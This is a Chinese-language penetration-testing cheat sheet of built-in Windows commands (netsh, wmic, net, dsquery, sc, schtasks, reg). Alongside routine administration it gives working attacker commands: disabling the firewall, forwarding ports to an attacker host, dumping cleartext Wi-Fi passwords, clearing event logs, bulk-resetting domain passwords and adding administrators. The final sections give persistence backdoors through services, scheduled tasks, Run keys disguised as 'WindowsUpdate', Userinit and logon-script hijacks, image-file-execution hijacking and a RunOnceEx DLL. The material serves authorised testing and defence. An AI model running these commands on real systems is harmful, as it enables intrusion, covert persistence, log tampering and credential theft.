跳转至

windows自带命令使用

windows本身自带了一些程序可以辅助做渗透测试,如:netsh,tasklist,reg等

windows自带命令使用

netsh

查看防火墙状态

netsh firewall show state
netsh advfirewall show allprofiles

关闭防火墙

netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

开启防火墙

netsh firewall set opmode enable
netsh firewall set allprofiles on

重置防火墙规则

netsh advfirewall reset

自定义防火墙日志路径

netsh advfirewall set currentprofile logging filename "C:\windows\firewall.log"

添加防火墙规则(允许指定端口通过)

# 允许连入本地的53/tcp端口(正向连接)
netsh advfirewall firewall add rule name="rule_name" dir=in action=allow protocol=tcp localport=53
# 允许53/tcp端口连出
netsh advfirewall firewall add rule name="rule_name" dir=out action=allow protocol=tcp localport

删除防火墙规则(允许指定端口通过)

netsh advfirewall firewall delete rule name="rule_name"

添加端口进出站规则

netsh firewal add portopening tcp 1234 rule_name

删除端口进出站规则

netsh firewall delete tcp 1234

添加程序进出站规则

# enable表示开启
netsh firewall add allowedprogram C:\\nc.exe "allow nc" enable
# disable表示关闭
netsh firewall add allowedprogram C:\\nc.exe "allow nc" disable

删除程序进出站规则

netsh firewall delete allowedprograme C:\\nc.exe

添加端口转发规则

netsh interface portproxy add v4tov4 listenaddress=victim_ip listenport=victim_port connectaddress=attack_ip connectport=attack_port
netsh interface portproxy add v4tov4 listenport=victim_port connectaddress=attack_ip connectport=attack_port

删除端口转发规则

netsh interface portproxy delete v4tov4 listenaddress=victim_ip listenport=victim_port
netsh interface portproxy delete v4tov4 listenport=victim_port

查看所有端口转发的条目

netsh interface portproxy show all
netsh interface portproxy show v4tov4
netsh interface portproxy show v4tov6
netsh interface portproxy show v6tov4
netsh interface portproxy show v6tov6

查看wifi信息

netsh wlan show profiles

查看指定WIFI明文密码

netsh wlan show profiles wifi_name key=clear

wmic

远程管理

远程连接

wmic /node:remote_ip /user:username /password:password

远程执行程序

wmic /node:remote_ip /user:username /password:password process call create "ipconfig.exe"

计算机系统管理

获取域和主机名

wmic computersystem get domain,username

进程管理

获取进程列表

wmic process list brief

创建进程

wmic process call create xxx.exe

停止指定进程

wmic process where name="xxx.exe" call terminate
wmic process where pid="123" call terminate

删除指定进程(根据pid)

wmic process where name="xxx.exe" delete
wmic process where pid="123" delete

关机

wmic process call create shutdown.exe

内存管理

获取物理内存大小

wmic memphysical list brief

用户账户管理

获取登录用户

wmic logon list brief

获取用户账户

wmic useraccount list brief
wmic useraccount get name
wmic useraccount where name="Administrator"

修改账户名称

fullname与name是有差别的,name为账户名称,fullname为账户别名

wmic useraccount where name="%UserName%" rename newUserName
wmic useraccount where name="Administrator" set fullname newFullName

锁定用户账户

wmic useraccount where name="user_name" set disabled=true

限制用户修改密码

wmic useraccount where name="user_name" set passwordchangeable=false

安装包管理

获取已安装软件

wmic product list brief

卸载安装包

wmic product where name="product_name" call uninstall

修复安装

wmic product where name="product_name" call reinstall

服务管理

获取运行服务

wmic service list brief

启动服务

wmic service where name="service_name" call startservice

停止服务

wmic service where name="service_name" call stopservice

暂停服务

wmic service where name="service_name" call pauseservice

删除服务

wmic service where name="service_name" call delete

启动服务

wmic service where name="service_name" set startMode="auto"

启动程序管理

获取启动程序

wmic startup list brief

共享盘

获取共享驱动盘

wmic netuse list brief

时区

获取时区信息

wmic timezone list brief

域控信息

获取域控信息

wmic ntdomain list brief

系统补丁

获取安全更新

wmic qfe list brief

共享资源

获取共享资源

wmic share list brief

删除共享

wmic share where name="e$" call delete

文件管理

获取文件属性

wmic datafile where name='C:\\Users\\lamba\\Desktop\\2.txt' get /format:list

文件定位

# 查找C盘下的file_name.txt的文件
wmic datafile where "drive='c' filename='file_name' extension='txt'" get name
# 查找C盘下文件夹包含test的目录下的名称包含file_name,后缀为txt的文件
wmic datafile where "drive='c:' and extension='txt' and path like '%\\test\\%' and filename like '%file_name%'" get name

文件删除

# 删除C盘下所有test.txt文件
wmic datafile where "drive='c' and filename='test' extension='txt'" call delete
# 删除C盘下所有非txt文件
wmic datafile where "drive='c' and extension<>'txt'" call delete
# 删除C盘下test目录下所有非txt文件
wmic datafile where "drive='c' and extension<>'txt' path='test'" call delete

文件拷贝

将C盘test目录下的cc.txt拷贝到E盘下

wmic datafile where "drive='c:' and path='test' and FileName='cc' and Extension='txt'" call copy "E:\cc.txt"

文件重命名

wmic datafile "C:\\123.txt" call rename "C:\\test\\test.txt"

文件夹管理

文件夹查找

# 查找C盘下所有test的文件夹
wmic fsdir where "drive='c:' filename='test'"

文件夹删除

# 删除C盘下所有包含test的文件夹
wmic fsdir where "drive='c' filename like 'test'" call delete
# 删除指定的文件夹
wmic fsdir "C:\\test" call delete

文件夹重命名

wmic fsdir "C:\\test" rename "C:\\test2"

获取驱动信息

wmic sysdriver list brief

OS管理

获取操作系统详情

wmic os list brief
wmic os get Caption,Version,BuildNumber,OSArchitecture,CSName,RegisteredUser

主板管理

获取主板信息

wmic baseboard get Manufacturer,Product, SerialNumber, Version

BIOS管理

获取BIOS信息

wmic bios get SerialNumber,Manufacturer,Name

CPU管理

获取cpu信息

wmic cpu get name

虚拟机判断

判断是否为虚拟机

wmic onboarddevice list brief
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list

远程桌面

开启远程桌面

wmic rdtoggle where servername="%computername%" call SetAllowTSConnections 1

关闭远程桌面

wmic rdtoggle where servername="%computername%" call SetAllowTSConnections 0

安全产品

获取反病毒产品

wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

清除系统日志

清除系统日志

wmic nteventlog where filename="log_name" cleareventlog
wmic nteventlog where filename="system" cleareventlog

网卡

wmic nic list brief

wmic命令参数

参数 描述
ALIAS 访问本地机器上的别名
BASEBOARD 基板 (也叫母板或系统板) 管理
BIOS 基本输入、输出管理
BOOTCONFIG 启动配置管理
CDROM CD-ROM管理
COMPUTERSYSTEM 计算机系统管理
CPU CPU管理
CSPRODUCT SMBIOS的计算机系统产品信息
DATAFILE 文件管理
DCOMAPP DCOM程序管理
DESKTOP 用户桌面管理
DESKTOPMONITOR 监视器管理
DEVICEMEMORYADDRESS 设备内存地址管理
DISKDRIVE 物理磁盘驱动器管理
DISKQUOTA NTFS卷磁盘空间使用情况
DMACHANNEL 直接内存访问频道管理
ENVIRONMENT 系统环境变量管理
FSDIR 文件夹管理
GROUP 组账户管理
IDECONTROLLER IDE控制器管理
IRQ IRQ管理
JOB 计划任务管理
LOADORDER 定义执行依存的系统服务管理
LOGICALDISK 本次储存设备管理
LOGON 登录会话管理
MEMCACHE 缓存内存管理
MEMLOGICAL 系统内存管理
MEMPHYSICAL 物理内存管理
NETCLIENT 网络客户端管理
NETLOGIN 网络登录信息管理
NETPROTOCOL 协议管理
NETUSE 活动网络连接管理
NIC 网络界面控制器管理
NICCONFIG 网络适配器管理
NTDOMAIN NT域管理
NTEVENT NT事件
NTEVENTLOG NT事件日志
ONBOARDDEVICE 母板(系统板)内置普通设适配器设备的管理
OS 已安装的操作系统管理
PAGEFILE 虚拟内存文件对调管理
PAGEFILESET 页面文件设置管理
PARTITION 物理磁盘分区区域的管理
PORT I/O端口管理
PORTCONNECTOR PORTCONNECTOR
PRINTER 打印机设备管理
PRINTERCONFIG 打印机设备配置管理
PRINTJOB 打印工作管理
PROCESS 进程管理
RODUCT 安装包任务管理
QFE 快速故障排除
QUOTASETTING 设置卷的磁盘配额信息
RECOVEROS 当操作系统失败时,将从内存收集的信息
REGISTRY 计算机系统注册表管理
SCSICONTROLLER SCSI控制器管理
SERVER 服务器信息管理
SERVICE 服务程序管理
SHARE 共享资源管理
SOFTWAREELEMENT 安装在系统上的软件产品元素的管理
SOFTWAREFEATURE SoftwareElement的软件产品组件的管理
SOUNDDEV 声音设备管理
STARTUP 用户登录到计算机系统时自动运行命令的管理
SYSACCOUNT 系统帐户管理
SYSDRIVER 基本服务的系统驱动程序管理
SYSTEMENCLOSURE 物理系统封闭管理
SYSTEMSLOT 包括端口、插口、附件和主要连接点的物理连接点管理
TAPEDRIVE 磁带驱动器管理
TEMPERATURE 温度感应器的数据管理(电子温度表)
TIMEZONE 时间区域数据管理
UPS 不可中断的电源供应(UPS)管理
USERACCOUNT 用户帐户管理
VOLTAGE 电压感应器 (电子电量计) 数据管理
VOLUMEQUOTASETTING 将某一磁盘卷与磁盘配额设置关联
WMISET WMI服务操作参数管理

tasklist/taskkill

参数 描述
/s 指定要连接的远程主机IP
/u 远程主机的用户名
/p 远程主机的密码
/m 列出调用指定模块的所有进程,如果未指定则将列出所有模块的进程列表
/fi 显示符合过滤器的指定进程列表,包括Status(RUNNING|NOT RESPONDING|UNKNOWN),Imagename(任意字符串),PID(任意正整数),Session(任意有效会话ID),SessionName(任意字符串),CPUTime(hh:mm:ss格式的时间),Username(通用格式[Domain\]User,如:nt authority\system),Services(任意字符串)、Windowtitle(任意字符串),比较符有:eq,gt,ge,lt,le,ne
/fo 指定输出格式,如:table,csv,list
/nh 输出不显示标头栏

显示所有进程、进程ID、服务

tasklist /svc

获取远程服务器的进程列表

tasklist /s ip /u username /p password

查看调用指定DLL模块的进程列表

tasklist /m xxx.dll

通过条件过滤获取进程列表

# 获取进程ID等于(eq)、大于等于(ge)、小于等于(le)1234的进程列表
tasklist /fi "pid eq 1234"
# 获取所有正在运行的且是SYSTEM权限的进程
tasklist /fi "status eq running" /fi "username ne nt authority\system"
参数 描述
/s 远程连接的主机IP
/u 远程主机的用户名
/p 远程主机的密码
/f 强制终止进程
/fi 指定通过过滤器筛选出的进程,过滤器同tasklist上的filter
/pid 指定的要终止的进程ID
/im 指定要终止的进程名称
/t 终止指定的进程和任何由此启动的子进程

停止指定进程

# 根据进程名称
taskkill /f /im notepad.exe /t
# 根据进程ID
taskkill /f /pid 1234 /t

停止满足过滤规则的进程

taskkill /f /fi "username eq nt authority\system"
taskkill /f /fi "pid eq 1234"

停止远程主机上的进程

taskkill /s ip /u username /p password /pid 1234
taskkill /s ip /u username /p password /fi "pid eq 1234"

dsquery

通过dsquery命令集根据指定的标准查询目录

参数 描述
-name xxx 搜索CN属性值与Name相匹配的计算机
-desc xxx 搜索描述属性与Description相匹配的计算机
-inactive 2 搜索在指定周数内处于活动状态的计算机
-stalepwd 3 搜索在指定天数内未更改密码的计算机
-disable 搜索被禁用账户的计算机
-s server|-d domain 指定要连接的远程服务器IP或域
-u username 指定要连接的远程服务器的用户名
-p password 指定要连接的远程服务器的用户名对应的密码
-q 安静模式,控制台无任何输出
-limit 0 限制显示的条数,0表示所有

查找目录中的计算机

# 所有域内计算机
dsquery computer
# 所有满足计算机名称开头为win,描述开头为desktop的计算机
dsquery computer -name win* -desc desktop* -limit 0
# 搜索在指定周数内处于非活动状态的所有计算机
dsquery computer -inactive 3 -limit 0
# 搜索指定天数内未更改密码的计算机
dsquery computer -stalepwd 3 -limit 0
# 搜索被禁用账户的计算机
dsquery computer -disabled -limit 0
# 使用指定账户密码获取远程域内计算机
dsquery computer -s ip -u username -p password -limit 0

查找目录中的联系人

dsquery contact

查找目录中的子网

dsquery subnet

查找目录中的组

dsquery group

查找目录中的组织单位

dsquery ou

查找目录中的站点

dsquery site

查找目录中的AD

dsquery server

查找目录中的用户

dsquery user
# 批量重置域内用户密码(username为登录用户名,并非CN)
dsquery user -samid username | dsmod user -pwd new_password

查找目录中的配额

dsquery quota

查找目录中的分区

dsquery partition

net

net use

建立IPC$连接

net use \\ip\ipc$ "password" /user:"username"

删除IPC$连接

net use \\ip\ipc$ /del

将远程主机的C盘映射到本地的Z盘

net use Z: \\ip\c$ "password" /user:"username"

删除共享映射

net use Z: /del
net use * /del

向远程主机复制文件

copy 本地文件的路径 \\ip\共享盘\目录
copy C:\\Users\\User\\Desktop\\1.txt \\192.168.59.140\C$\Windows

net user

查看用户属性

net user username

添加用户账户

net user useranem password /add

激活、禁用账户

net user username /active:yes
net user username /active:no

删除用户账户

net user username /del

修改账户密码

net user username new_password

普通用户提升为管理员用户

net localgroup administrators username /add

管理员用户降到普通用户

net localgroup administrators username /del

net view

查看本地局域网开启了哪些共享

net view

查看指定IP开启了哪些共享

net view \\ip

net time

查看本机时间

net time

查看指定IP时间

net time \\ip

查看域控时间

net time /domain

net config

查看系统网络设置

net config server
net config workstation

net share

查看本地共享

net share

开启共享

net share ipc$
net share c$

删除共享

net share c$ /del

net start

启动服务

net start service_name

停止服务

net stop service_name

暂停服务

net pause service_name

net session

查看远程会话

net session

net group

查看域主机名

net group "domain computers" /domain

查看域控主机名

net group "domain controllers" /domain

查看域控管理员

net group "domain admins" /domain

attrib

参数 描述
+ 添加属性
- 去除属性
+s 添加系统属性
+h 添加隐藏属性
+r 添加只读属性
+a 添加存档属性

隐藏文件

attrib 文件路径 +h +s

sc

创建服务

sc create "service_name" binpath= "cmd /c start C:\windows\temp\payload.exe"

配置服务

sc config "service_name" start=auto

删除服务

sc delete service_name

schtasks

创建计划任务

schtasks /create /tn task_name /tr "C:\windows\temp\payload.exe" /sc minute /mo 1

删除计划任务

schtasks /delete /tn task_name

reg

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

开机自启注册表后门

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

删除

reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f

userinit后门

reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,powershell代码" /f

logon scripts后门

reg add HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\Temp\payload.bat" /f

删除

reg delete HKCU\Environment /v UserInitMprLogonScript

映像劫持

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v MonitorProcess /d "C:\Users\Administrator\Desktop\payload.exe"

RunOnceEx后门

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\Windows\Temp\evil.dll"